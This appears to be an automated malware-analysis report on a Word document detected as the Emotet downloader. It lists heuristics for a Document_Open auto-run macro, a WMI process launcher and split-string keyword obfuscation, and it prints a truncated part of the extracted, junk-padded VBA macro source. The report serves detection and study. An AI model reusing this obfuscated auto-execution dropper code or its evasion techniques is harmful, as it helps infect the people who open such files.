MALICIOUS
322
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros with a Document_Open auto-execution routine. Critical heuristics indicate the use of WMI (Win32_Process.Create) via CreateObject, with obfuscation techniques used to hide the 'winmgmts' keyword. ClamAV identifies the file as Emotet, a known downloader family. The script's intent is to execute a second-stage payload.
Heuristics 8
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ClamAV: Doc.Downloader.Emotet-7446804-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7446804-0
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VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
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Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7751 bytes |
SHA-256: f019476c43fce1d9bfac4bb60b6ea09340daeb8233fb00643359b38bcc18a638 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Hhtzxcotuvp"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Qsngcnoh, 0, 0, MSForms, TextBox"
Private Sub Document_open()
For Hpjpjderxl = Zbjkaoalxmibm To 0
Ydlrhadnfqr = (13 - Atn(51) - (44 + Round(41) * Ermublrugltlc / CInt(1)))
Select Case Uhhdtmfnlt
Case Woetjcbhgzoaa
Sssgflqsxinrm = CLng(Aaznvgbr)
Ahguthdwqn = Oct(Nwnfvglvlpib)
Case Amcpqbixedj
Akvvljhn = Plvgoxlyevghq
Wtkqsjvx = Int(29)
End Select
Next
For Nqghkkdsnelrt = Kfugphyyzw To 0
Xyogavcu = (13 - Atn(51) - (44 + Round(41) * Temoxpvgchj / CInt(1)))
Select Case Lqkeoprhlki
Case Zykvqzwwlqtb
Dttrtnkdpq = CLng(Fuhitehdpxw)
Jnrzarcefon = Oct(Ptjwitdcucoc)
Case Tgtgwmajatd
Ojzftqapottoc = Pkcxdcjxmhq
Fsqtsuptvwvl = Int(29)
End Select
Next
For Nokellom = Mvamujbmlapr To 0
Jhhqolms = (13 - Atn(51) - (44 + Round(41) * Lhcqhonxk / CInt(1)))
Select Case Fanownpms
Case Lhuedxyzgteta
Lfwmshrue = CLng(Crxwgytqvvvc)
Ykfoahnbqbk = Oct(Voumqyjvh)
Case Ngzkrkqcmw
Lfeygbbwlrtyb = Eeburjvbti
Fkhdicsjgl = Int(29)
End Select
Next
Afamdvydg
End Sub
Attribute VB_Name = "Xhtftgolz"
Attribute VB_Base = "0{BB66C8EA-F3D1-4A9B-8FF0-18142FB21F7E}{16D10A0C-ACEA-4506-91E9-ED26D5F527D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Gsppvhmpizbbx"
Function Qkujkfwlkle()
For Eikxrnuwdvdyz = Zxblcxdctwffq To 0
Kwafxaoft = (13 - Atn(51) - (44 + Round(41) * Lzjwzzbxndoxp / CInt(1)))
Select Case Grblherx
Case Yuuvlshfd
Swxfetrc = CLng(Kfwtwehxvucyq)
Gbclhrmnw = Oct(Efdlauphopxb)
Case Ahirbugwaxr
Ohyrzgbabuj = Iimqiznxh
Wvsohfgt = Int(29)
End Select
Next
Wwsnbaatupi = Hhtzxcotuvp.Qsngcnoh
For Vbguvbwoxtn = Ppwyqgwx To 0
Cdjcnojbub = (13 - Atn(51) - (44 + Round(41) * Tahxbdtrw / CInt(1)))
Select Case Ncoqcrseq
Case Eqmyjznstfr
Vrsetdsqmwvay = CLng(Jcxsvdwql)
Uddxbvurulyn = Oct(Sysuqykagi)
Case Zmszahczj
Ovzfhevkon = Fewuejuw
Sviyvkrlk = Int(29)
End Select
Next
Nxeizdgagvvjx = Wwsnbaatupi + Xhtftgolz.Dtwenodap + Xhtftgolz.Yifppluhxozq + Xhtftgolz.Fnlnlstmgqih
For Onhnqygaq = Kkqceksrgy To 0
Mxcyprkz = (13 - Atn(51) - (44 + Round(41) * Wrmldsvn / CInt(1)))
Select Case Vvgxeczsegcf
Case Vqnarifqpg
Qtgzvtrdiqqfu = CLng(Svrbqzbpnevw)
Efzjfmflek = Oct(Oceahfeqnvy)
Case Aoetvawtrdlqv
Mgqgrckz = Wprhzjgune
Sjjmuwzt = Int(29)
End Select
Next
Ikuescofopjcs = Nxeizdgagvvjx + Xhtftgolz.Btzrtwmm + Xhtftgolz.Sucjrhbi.ControlTipText
For Pppuucbwxxa = Bqgtnibityio To 0
Kwoqyfrzx = (13 - Atn(51) - (44 + Round(41) * Grqaylkswa / CInt(1)))
Select Case Rdaxgwqhg
Case Rajhcdbcsrihq
Vnxvwfyox = CLng(Hldhheevzzpei)
Xtqiwjnxbdjk = Oct(Smluevqzlke)
Case Lifjphchfyop
Nbextzehndjd = Yhfeuocp
Tddjmnxeqbcx = Int(29)
End Select
Next
Qkujkfwlkle = Olwcoqohqlv + Ikuescofopjcs + Olwcoqohqlv
For Vfetvviyick = Coyvyirjrq To 0
Dppyegmrqzeq = (13 - Atn(51) - (44 + Round(41) * Dpxavprwzfgrr / CInt(1)))
Select Case Heojxsgtae
Case Isckhrzecmrvg
Qjsmoygiu = CLng(Ghxwwvyri)
Uyasjivnsctkq = Oct(Rizbjiuzk)
Case Gpvxpvdtp
Vpynhwenwh = Eqrhuozypzc
Svnxhwtof = Int(29)
End Select
Next
End Function
Function Afamdvydg()
For Qtogonlwj = Akxpifhlb To 0
Aqdfyntowk
... (truncated)
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